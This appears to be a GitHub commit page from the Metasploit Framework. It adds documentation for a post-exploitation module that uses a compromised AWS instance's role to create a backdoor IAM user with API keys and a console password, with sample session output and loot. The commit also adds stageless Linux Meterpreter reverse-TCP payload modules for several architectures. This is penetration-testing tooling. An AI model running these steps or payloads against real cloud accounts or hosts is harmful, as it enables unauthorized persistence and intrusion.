Skip to content

Commit ac324cb

Browse files
author
Dennis Herrmann
committed
2 parents ce202cb + 082a894 commit ac324cb

21 files changed

+808
-14
lines changed

documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 53 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,11 @@ Active sessions
113113

114114
## Options
115115

116+
By default the module will:
117+
118+
* create a randomly named IAM user and group
119+
* generate API Keys and User password for after
120+
116121
In the event that the session'd AWS instance does not have an IAM role assigned
117122
to it with sufficient privileges, the following options can be used to provide
118123
specific authentication material:
@@ -124,9 +129,30 @@ specific authentication material:
124129
The following options control the account that is being created:
125130

126131
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
132+
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
127133
* `CREATE_API`: when true, creates API keys for this user
128134
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129135

136+
```
137+
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
138+
msf post(aws_create_iam_user) > show options
139+
140+
Module options (post/multi/escalate/aws_create_iam_user):
141+
142+
Name Current Setting Required Description
143+
---- --------------- -------- -----------
144+
AccessKeyId no AWS access key
145+
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
146+
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
147+
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
148+
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
149+
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
150+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151+
SESSION yes The session to run this module on.
152+
SecretAccessKey no AWS secret key
153+
Token no AWS session token
154+
155+
```
130156

131157
## Abusing an Overly Permissive Instance Profile
132158

@@ -136,7 +162,6 @@ overly permissive access. Once a session is established, we can load
136162
e.g., `SESSION 1` and run the exploit.
137163

138164
```
139-
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140165
msf post(aws_create_iam_user) > set SESSION 1
141166
SESSION => 1
142167
msf post(aws_create_iam_user) > exploit
@@ -195,7 +220,6 @@ SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
195220
msf post(aws_create_iam_user) > set SESSION 1
196221
SESSION => 1
197222
msf post(aws_create_iam_user) > run
198-
msf post(aws_create_iam_user) > run
199223
200224
[*] 169.254.169.254 - looking for creds...
201225
[*] Creating user: bZWsmzyupDWxe8CT
@@ -222,12 +246,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
222246
Information necessary to use the created account is printed to the screen and stored in loot:
223247

224248
```
249+
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
225250
{
226251
"UserName": "As56ekIV59OgoFOj",
227252
"GroupName": "As56ekIV59OgoFOj",
228253
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
229254
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
230255
"Password": "As56ekIV59OgoFOj",
231256
"AccountId": "xxx"
257+
```
258+
259+
These creds can be used to call the AWS API directly or you can login using the console.
260+
261+
Configuring the CLI:
262+
263+
```
264+
$ aws configure --profile test
265+
AWS Access Key ID [None]: AKIA...
266+
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
267+
Default region name [None]: us-west-2
268+
Default output format [None]: json
269+
```
270+
271+
Call the API, e.g., get the Account ID:
272+
273+
```
274+
$ aws iam --profile test list-account-aliases
275+
{
276+
"AccountAliases": [
277+
"Account_ID"
278+
]
232279
}
233280
```
281+
282+
Login via the console using the username and password:
283+
284+
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_aarch64_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_AARCH64
24+
end
25+
end
26+
27+
end
28+
end
29+
30+
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_armbe_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_ARMBE
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_mips64_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_MIPS64
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_ppc64le_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_PPC64LE
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_ppc_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_PPC
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_zarch_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_ZARCH
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
10+
require 'msf/base/sessions/meterpreter_aarch64_linux'
11+
12+
module MetasploitModule
13+
14+
CachedSize = 292344
15+
16+
include Msf::Payload::Single
17+
include Msf::Sessions::MeterpreterOptions
18+
include Msf::Sessions::MettleConfig
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'Linux Meterpreter',
25+
'Description' => 'Run the mettle server payload (stageless)',
26+
'Author' => [
27+
'Adam Cammack <adam_cammack[at]rapid7.com>'
28+
],
29+
'Platform' => 'linux',
30+
'Arch' => ARCH_AARCH64,
31+
'License' => MSF_LICENSE,
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
34+
)
35+
)
36+
end
37+
38+
def generate
39+
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config).to_binary :exec
40+
end
41+
end
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
10+
require 'msf/base/sessions/meterpreter_armbe_linux'
11+
12+
module MetasploitModule
13+
14+
CachedSize = 285000
15+
16+
include Msf::Payload::Single
17+
include Msf::Sessions::MeterpreterOptions
18+
include Msf::Sessions::MettleConfig
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'Linux Meterpreter',
25+
'Description' => 'Run the mettle server payload (stageless)',
26+
'Author' => [
27+
'Adam Cammack <adam_cammack[at]rapid7.com>'
28+
],
29+
'Platform' => 'linux',
30+
'Arch' => ARCH_ARMBE,
31+
'License' => MSF_LICENSE,
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
34+
)
35+
)
36+
end
37+
38+
def generate
39+
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config).to_binary :exec
40+
end
41+
end

0 commit comments

Comments
 (0)